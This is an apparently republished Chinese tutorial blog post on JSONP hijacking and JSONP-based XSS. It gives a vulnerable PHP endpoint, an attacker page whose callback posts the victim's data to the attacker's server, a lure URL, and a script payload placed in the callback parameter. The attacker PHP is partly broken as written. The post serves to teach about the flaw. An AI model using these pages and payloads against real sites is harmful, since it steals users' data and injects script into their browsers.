JSONP 劫持漏洞

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JSONP 劫持漏洞相关的知识,希望对你有一定的参考价值。

0x01 Jsonp简介:

Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP)呢?这是因为同源策略。

同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持javascript 的浏览器都会使用这个策略。

同源的条件:

1、协议相同

2、域名相同

3、端口相同

相关文章:https://www.sojson.com/blog/121.html


0x02 JSONP导致的劫持漏洞

服务端 GetUser.php

<?php
header(\'Content-type: application/json\');

$jsoncallback = htmlspecialchars($_REQUEST [\'jsoncallback\']);//获取回调函数名

$json_data=\'({"id":"1","name":"Aaron"})\';

echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

攻击者

<?php

$url = $_GET[\'url\'] ? $_GET[\'url\'] : "http://www.aaa.com";
$callback = $_GET[\'c\'] ? $_GET[\'c\'] : "json";

$url = htmlspecialchars(addslashes($url));
$callback = htmlspecialchars(addslashes($callback));

<script>

function ccc(a){
    var info = JSON.stringify(a)
    $.post("./get.php", {
       info: info,
    },);
}

</script>

<script src="\'. $url .\'?\'.$callback .\'=ccc"></script>\';
echo \'<script src="./js/jquery-2.2.4.min.js"></script>\';

?>


攻击者构造了一个payload:

http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php

然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息


0x02 JSONP导致的XSS漏洞

服务端 GetUser.php

<?php
header(\'Content-type: application/json\');

$jsoncallback = $_REQUEST [\'jsoncallback\'];//获取回调函数名

$json_data=\'({"id":"1","name":"Aaron"})\';

echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

攻击者构造了一个payload:

http://服务端/getUser.php?jsoncallback=<script>alert(1)</script>

以上是关于JSONP 劫持漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Jsonp&Cors跨域(同源策略跨域劫持漏洞)

浅谈跨域劫持

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

jsonp劫持

点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

从 Ajax 聊一聊 Jsonp 点击劫持